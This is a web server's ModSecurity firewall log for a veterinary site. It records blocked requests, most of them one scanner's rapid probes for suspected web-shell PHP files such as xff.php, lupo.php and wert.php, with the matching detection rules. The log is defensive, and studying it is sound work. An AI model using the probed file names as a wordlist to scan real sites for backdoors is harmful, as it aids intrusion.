[Fri Apr 10 21:27:00.471254 2026] [:error] [pid 13101:tid 13156] [client 119.96.24.54:37012] [client 119.96.24.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "adj6pN8Ldw85818pj2rcYwAAAJc"]
[Fri Apr 10 21:43:15.082094 2026] [:error] [pid 63134:tid 63157] [client 20.251.36.179:3042] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xff.php"] [unique_id "adj-c9FALqPDwWi6eJKm-QAAA9Q"]
[Fri Apr 10 21:43:16.344103 2026] [:error] [pid 63134:tid 63146] [client 20.251.36.179:65359] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xff.php"] [unique_id "adj-dNFALqPDwWi6eJKm_gAAA8k"]
[Fri Apr 10 21:43:17.509971 2026] [:error] [pid 62819:tid 62830] [client 20.251.36.179:38957] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xff.php"] [unique_id "adj-dfU20EyPf7NlsldrEgAAAog"]
[Fri Apr 10 21:43:20.236317 2026] [:error] [pid 62710:tid 62717] [client 20.251.36.179:3021] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xff.php"] [unique_id "adj-eOME7qrf5xEWWJsauAAAAgQ"]
[Fri Apr 10 21:43:25.955493 2026] [:error] [pid 62651:tid 62671] [client 20.251.36.179:56277] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lupo.php"] [unique_id "adj-fTbAH0le57SIaqwlrQAAAdI"]
[Fri Apr 10 21:43:26.587114 2026] [:error] [pid 62769:tid 62779] [client 20.251.36.179:41070] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lupo.php"] [unique_id "adj-fsWsSnfLoB8ifjBgvAAAAkg"]
[Fri Apr 10 21:43:28.909117 2026] [:error] [pid 13101:tid 13144] [client 20.251.36.179:24887] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lupo.php"] [unique_id "adj-gN8Ldw85818pj2rkhQAAAIs"]
[Fri Apr 10 21:43:30.486569 2026] [:error] [pid 62769:tid 62789] [client 20.251.36.179:65386] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lupo.php"] [unique_id "adj-gsWsSnfLoB8ifjBg4AAAAlI"]
[Fri Apr 10 21:43:35.493399 2026] [:error] [pid 63134:tid 63151] [client 20.251.36.179:29916] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awa.php"] [unique_id "adj-h9FALqPDwWi6eJKnTAAAA84"]
[Fri Apr 10 21:43:36.243329 2026] [:error] [pid 13101:tid 13139] [client 20.251.36.179:29938] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awa.php"] [unique_id "adj-iN8Ldw85818pj2rkmgAAAIY"]
[Fri Apr 10 21:43:39.022646 2026] [:error] [pid 63062:tid 63085] [client 20.251.36.179:64114] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awa.php"] [unique_id "adj-i52HtsmV85NqkMfyVQAAA5U"]
[Fri Apr 10 21:43:39.892212 2026] [:error] [pid 62769:tid 62792] [client 20.251.36.179:65354] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/awa.php"] [unique_id "adj-i8WsSnfLoB8ifjBhJgAAAlU"]
[Fri Apr 10 21:43:40.520768 2026] [:error] [pid 13100:tid 13119] [client 20.251.36.179:34456] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adj-jFzg-ZkZ0InWIP3A8QAAAQ4"]
[Fri Apr 10 21:43:41.216902 2026] [:error] [pid 62819:tid 62839] [client 20.251.36.179:42271] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adj-jfU20EyPf7NlsldrQQAAApE"]
[Fri Apr 10 21:43:41.867275 2026] [:error] [pid 13101:tid 13138] [client 20.251.36.179:34461] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adj-jd8Ldw85818pj2rkqQAAAIU"]
[Fri Apr 10 21:43:42.847432 2026] [:error] [pid 62884:tid 62913] [client 20.251.36.179:54340] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sadcut1.php"] [unique_id "adj-juUCK1xrhnnmpo2FXAAAAtY"]
[Fri Apr 10 21:43:43.561743 2026] [:error] [pid 62769:tid 62774] [client 20.251.36.179:38932] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/popo.php"] [unique_id "adj-j8WsSnfLoB8ifjBhRQAAAkM"]
[Fri Apr 10 21:43:44.378453 2026] [:error] [pid 62769:tid 62772] [client 20.251.36.179:38956] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/popo.php"] [unique_id "adj-kMWsSnfLoB8ifjBhTgAAAkE"]
[Fri Apr 10 21:43:45.158523 2026] [:error] [pid 13100:tid 13122] [client 20.251.36.179:29926] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/popo.php"] [unique_id "adj-kVzg-ZkZ0InWIP3A9QAAARE"]
[Fri Apr 10 21:43:46.047749 2026] [:error] [pid 62769:tid 62772] [client 20.251.36.179:29932] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/popo.php"] [unique_id "adj-ksWsSnfLoB8ifjBhXQAAAkE"]
[Fri Apr 10 21:43:46.765054 2026] [:error] [pid 62884:tid 62891] [client 20.251.36.179:34476] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/water.php"] [unique_id "adj-kuUCK1xrhnnmpo2FXwAAAsA"]
[Fri Apr 10 21:43:47.416984 2026] [:error] [pid 63134:tid 63157] [client 20.251.36.179:29943] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/water.php"] [unique_id "adj-k9FALqPDwWi6eJKnYQAAA9Q"]
[Fri Apr 10 21:43:48.362354 2026] [:error] [pid 13189:tid 13194] [client 20.251.36.179:24855] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/water.php"] [unique_id "adj-lJAxiJKPums3eBDE7wAAAEI"]
[Fri Apr 10 21:43:49.108357 2026] [:error] [pid 62710:tid 62719] [client 20.251.36.179:64081] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/water.php"] [unique_id "adj-leME7qrf5xEWWJsbGwAAAgY"]
[Fri Apr 10 21:43:49.870925 2026] [:error] [pid 62710:tid 62722] [client 20.251.36.179:24869] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggb.php"] [unique_id "adj-leME7qrf5xEWWJsbHQAAAgk"]
[Fri Apr 10 21:43:50.561222 2026] [:error] [pid 13189:tid 13195] [client 20.251.36.179:42260] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggb.php"] [unique_id "adj-lpAxiJKPums3eBDE-AAAAEM"]
[Fri Apr 10 21:43:51.377366 2026] [:error] [pid 13101:tid 13157] [client 20.251.36.179:34449] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggb.php"] [unique_id "adj-l98Ldw85818pj2rkuwAAAJg"]
[Fri Apr 10 21:43:52.077781 2026] [:error] [pid 13189:tid 13210] [client 20.251.36.179:29913] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ggb.php"] [unique_id "adj-mJAxiJKPums3eBDFAgAAAFI"]
[Fri Apr 10 21:43:53.362294 2026] [:error] [pid 13101:tid 13153] [client 20.251.36.179:29941] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "adj-md8Ldw85818pj2rkwgAAAJQ"]
[Fri Apr 10 21:43:54.257448 2026] [:error] [pid 62769:tid 62771] [client 20.251.36.179:42276] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "adj-msWsSnfLoB8ifjBhfgAAAkA"]
[Fri Apr 10 21:43:55.115484 2026] [:error] [pid 62884:tid 62908] [client 20.251.36.179:42250] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "adj-m-UCK1xrhnnmpo2FawAAAtE"]
[Fri Apr 10 21:43:56.174906 2026] [:error] [pid 13101:tid 13139] [client 20.251.36.179:38321] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/13.php"] [unique_id "adj-nN8Ldw85818pj2rkzgAAAIY"]
[Fri Apr 10 21:43:59.632895 2026] [:error] [pid 62884:tid 62895] [client 20.251.36.179:56305] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wert.php"] [unique_id "adj-n-UCK1xrhnnmpo2FbQAAAsQ"]
[Fri Apr 10 21:44:04.376179 2026] [:error] [pid 13189:tid 13208] [client 20.251.36.179:34493] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wert.php"] [unique_id "adj-pJAxiJKPums3eBDFIAAAAFA"]
[Fri Apr 10 21:44:05.921820 2026] [:error] [pid 13189:tid 13197] [client 20.251.36.179:41040] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wert.php"] [unique_id "adj-pZAxiJKPums3eBDFKwAAAEU"]
[Fri Apr 10 21:44:08.911699 2026] [:error] [pid 13189:tid 13201] [client 20.251.36.179:24832] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wert.php"] [unique_id "adj-qJAxiJKPums3eBDFNgAAAEk"]
[Fri Apr 10 21:44:10.381218 2026] [:error] [pid 62769:tid 62782] [client 20.251.36.179:56294] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/11.php"] [unique_id "adj-qsWsSnfLoB8ifjBhqAAAAks"]
[Fri Apr 10 21:44:11.799910 2026] [:error] [pid 63062:tid 63066] [client 20.251.36.179:35829] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/11.php"] [unique_id "adj-q52HtsmV85NqkMfydwAAA4I"]
[Fri Apr 10 21:46:15.137017 2026] [:error] [pid 62710:tid 62733] [client 20.251.36.179:39608] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3.php"] [unique_id "adj_J-ME7qrf5xEWWJscAwAAAhQ"]
[Fri Apr 10 21:46:15.827216 2026] [:error] [pid 63134:tid 63139] [client 20.251.36.179:2167] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3.php"] [unique_id "adj_J9FALqPDwWi6eJKofwAAA8I"]
[Fri Apr 10 21:46:16.483829 2026] [:error] [pid 62710:tid 62721] [client 20.251.36.179:2195] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3.php"] [unique_id "adj_KOME7qrf5xEWWJscBgAAAgg"]
[Fri Apr 10 21:46:17.115152 2026] [:error] [pid 13189:tid 13214] [client 20.251.36.179:2114] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/3.php"] [unique_id "adj_KZAxiJKPums3eBDGWwAAAFY"]
[Fri Apr 10 21:46:17.779491 2026] [:error] [pid 13189:tid 13196] [client 20.251.36.179:20990] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4.php"] [unique_id "adj_KZAxiJKPums3eBDGXwAAAEQ"]
[Fri Apr 10 21:46:18.462723 2026] [:error] [pid 13189:tid 13213] [client 20.251.36.179:2211] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4.php"] [unique_id "adj_KpAxiJKPums3eBDGZAAAAFU"]
[Fri Apr 10 21:46:19.209470 2026] [:error] [pid 13100:tid 13115] [client 20.251.36.179:2141] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4.php"] [unique_id "adj_K1zg-ZkZ0InWIP3BUgAAAQo"]
[Fri Apr 10 21:46:19.863453 2026] [:error] [pid 62769:tid 62781] [client 20.251.36.179:18474] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/4.php"] [unique_id "adj_K8WsSnfLoB8ifjBi7gAAAko"]
[Fri Apr 10 21:46:20.423042 2026] [:error] [pid 62884:tid 62903] [client 20.251.36.179:19939] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5.php"] [unique_id "adj_LOUCK1xrhnnmpo2F2gAAAsw"]
[Fri Apr 10 21:46:21.115909 2026] [:error] [pid 63134:tid 63137] [client 20.251.36.179:36438] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5.php"] [unique_id "adj_LdFALqPDwWi6eJKolAAAA8A"]
[Fri Apr 10 21:46:21.737810 2026] [:error] [pid 13189:tid 13197] [client 20.251.36.179:41669] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5.php"] [unique_id "adj_LZAxiJKPums3eBDGaQAAAEU"]
[Fri Apr 10 21:46:22.354659 2026] [:error] [pid 13189:tid 13206] [client 20.251.36.179:53864] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/5.php"] [unique_id "adj_LpAxiJKPums3eBDGbQAAAE4"]
[Fri Apr 10 21:46:23.108102 2026] [:error] [pid 62710:tid 62733] [client 20.251.36.179:19928] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "adj_L-ME7qrf5xEWWJscDgAAAhQ"]
[Fri Apr 10 21:46:23.697579 2026] [:error] [pid 13101:tid 13140] [client 20.251.36.179:39567] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "adj_L98Ldw85818pj2rlmAAAAIc"]
[Fri Apr 10 21:46:24.259501 2026] [:error] [pid 62884:tid 62892] [client 20.251.36.179:36441] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "adj_MOUCK1xrhnnmpo2F3wAAAsE"]
[Fri Apr 10 21:46:24.840861 2026] [:error] [pid 62769:tid 62782] [client 20.251.36.179:18454] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/6.php"] [unique_id "adj_MMWsSnfLoB8ifjBi9QAAAks"]
[Fri Apr 10 21:46:25.480215 2026] [:error] [pid 13100:tid 13125] [client 20.251.36.179:20944] [client 20.251.36.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/9.php"] [unique_id "adj_MVzg-ZkZ0InWIP3BXwAAARQ"]
